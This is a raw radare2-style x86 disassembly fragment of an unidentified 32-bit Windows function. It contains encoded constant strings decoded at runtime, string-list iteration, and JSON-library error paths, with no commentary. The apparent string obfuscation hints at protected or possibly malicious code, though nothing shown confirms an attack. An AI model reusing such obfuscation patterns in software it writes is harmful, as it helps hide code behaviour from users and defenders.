mov word [ebp - 0x11e], 0x100
call fcn.0040ee70
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x428]
call fcn.004344c0
add esp, 0x20
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.00463640
lea ecx, [ebp - 0x428]
mov byte [ebp - 4], 0x30
call fcn.004638b0
lea ecx, [ebp - 0x21c]
call fcn.004027a0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.004ead08
push edi
call fcn.004e6788
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.00402660
sub esp, 0x18
mov dword [ebp - 0x130], 0x534c437b
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x12c], 0x4c49021f
mov word [ebp - 0x128], 0x100
mov esi, esp
call fcn.0040ee70
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
call fcn.0040bf00
add esp, 0x18
test al, al
je 0x435e61
lea ecx, [ebp - 0x86]
mov dword [ebp - 0x86], 0x1004a50
call fcn.0040a420
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x158], 0x534c437b
mov esi, eax
mov dword [ebp - 0x154], 0x4c49021f
mov word [ebp - 0x150], 0x100
call fcn.0040ee70
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.00469b50
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2f00
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x435e61
sub esp, 0x18
mov dword [ebp - 0xf4], 0x1e504d4c
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf0], 0x4f4805
mov byte [ebp - 0xec], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040b8b0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xfe]
mov dword [ebp - 0xfe], 0x534c437b
mov dword [ebp - 0xfa], 0x4c49021f
mov esi, esp
mov word [ebp - 0xf6], 0x100
call fcn.0040ee70
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x458]
call fcn.004344c0
add esp, 0x20
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.00463640
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0x30
call fcn.004638b0
lea ecx, [ebp - 0x21c]
call fcn.004027a0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.004ead08
push edi
call fcn.004e6788
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.00402660
sub esp, 0x18
mov dword [ebp - 0x179], 0x584c4b7b
lea ecx, [ebp - 0x179]
mov dword [ebp - 0x175], 0x4a03145f
mov word [ebp - 0x171], 0x4d
mov esi, esp
mov byte [ebp - 0x16f], 1
call fcn.0040a5a0
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
call fcn.0040bf00
add esp, 0x18
test al, al
je 0x436019
lea ecx, [ebp - 0x8a]
mov dword [ebp - 0x8a], 0x1004a50
call fcn.0040a420
lea ecx, [ebp - 0x18f]
mov dword [ebp - 0x18f], 0x584c4b7b
mov esi, eax
mov dword [ebp - 0x18b], 0x4a03145f
mov word [ebp - 0x187], 0x4d
mov byte [ebp - 0x185], 1
call fcn.0040a5a0
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.00469b50
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2f00
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x436019
sub esp, 0x18
mov dword [ebp - 0x14e], 0x5e5b4d44
lea ecx, [ebp - 0x14e]
mov dword [ebp - 0x14a], 0x4c490213
mov word [ebp - 0x146], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040ee70
push eax
mov ecx, esi
call fcn.00402700
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x16e]
sub esp, 0x18
mov dword [ebp - 0x16e], 0x584c4b7b
mov dword [ebp - 0x16a], 0x4a03145f
mov esi, esp
mov word [ebp - 0x166], 0x4d
mov byte [ebp - 0x164], 1
call fcn.0040a5a0
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x448]
call fcn.004344c0
add esp, 0x20
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.00463640
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x30
call fcn.004638b0
lea ecx, [ebp - 0x21c]
call fcn.004027a0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.004ead08
push edi
call fcn.004e6788
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.00402660
sub esp, 0x18
mov dword [ebp - 0x163], 0x584c4b7b
lea ecx, [ebp - 0x163]
mov dword [ebp - 0x15f], 0x4a03155f
mov word [ebp - 0x15b], 0x4d
mov esi, esp
mov byte [ebp - 0x159], 1
call fcn.0040a5a0
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
call fcn.0040bf00
add esp, 0x18
test al, al
je 0x4361cd
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0x1004a50
call fcn.0040a420
lea ecx, [ebp - 0x19a]
mov dword [ebp - 0x19a], 0x584c4b7b
mov esi, eax
mov dword [ebp - 0x196], 0x4a03155f
mov word [ebp - 0x192], 0x4d
mov byte [ebp - 0x190], 1
call fcn.0040a5a0
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x2bc]
call fcn.00469b50
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2f00
add esp, 8
lea ecx, [ebp - 0x2bc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x4361cd
sub esp, 0x18
mov dword [ebp - 0x144], 0x5e5b4d44
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x140], 0x4c490212
mov word [ebp - 0x13c], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040ee70
push eax
mov ecx, esi
call fcn.00402700
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x184]
sub esp, 0x18
mov dword [ebp - 0x184], 0x584c4b7b
mov dword [ebp - 0x180], 0x4a03155f
mov esi, esp
mov word [ebp - 0x17c], 0x4d
mov byte [ebp - 0x17a], 1
call fcn.0040a5a0
push eax
lea edx, [ebp - 0x258]
mov ecx, esi
call fcn.00469b50
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x438]
call fcn.004344c0
add esp, 0x20
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, eax
call fcn.00463640
lea ecx, [ebp - 0x438]
call fcn.004638b0
lea ecx, [ebp - 0x21c]
call fcn.004027a0
push edi
push dword [ebp - 0x20c]
push 1
push eax
call fcn.004ead08
push edi
call fcn.004e6788
add esp, 0x14
lea ecx, [ebp - 0x21c]
call fcn.00402660
lea ecx, [ebp - 0x204]
call fcn.00402660
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x28c]
cmp ecx, 0x10
jb 0x436216
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43620c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.004638b0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x37c]
cmp ecx, 0x10
jb 0x43627a
mov edx, dword [ebp - 0x390]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436270
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x364]
cmp ecx, 0x10
jb 0x4362b8
mov edx, dword [ebp - 0x378]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4362ae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
cmp ecx, 0x10
jb 0x436311
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436307
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov edi, dword [ebp - 0x1e0]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
mov dword [ebp - 0x1e0], edi
cmp byte [edi], 0
jne 0x434a53
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0x10
jb 0x43636a
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436360
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0x3e0]
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
cmp ecx, 0x10
jb 0x4363bf
mov edx, dword [ebp - 0x3f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4363b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x4363f3
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4363e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x436435
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43642b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebx + 0x4c]
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 0xf
mov byte [ebx + 0x20], 0
cmp ecx, 0x10
jb 0x436477
mov edx, dword [ebx + 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43646d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x436490
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2350
lea ecx, [ebp - 0xc0]
call fcn.00467ae0
push eax
lea ecx, [ebp - 0x4d8]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x4f0]
call fcn.00469c70
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x4a4]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x4a4]
push 0x5316e8
push eax
call fcn.004dea9b
lea ecx, [ebp - 0xc0]
call fcn.00467ae0
push eax
lea ecx, [ebp - 0x508]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x520]
call fcn.00469c70
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x4c0]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x4c0]
push 0x5316e8
push eax
call fcn.004dea9b
push eax
call fcn.004dc05c
call fcn.00402040
int3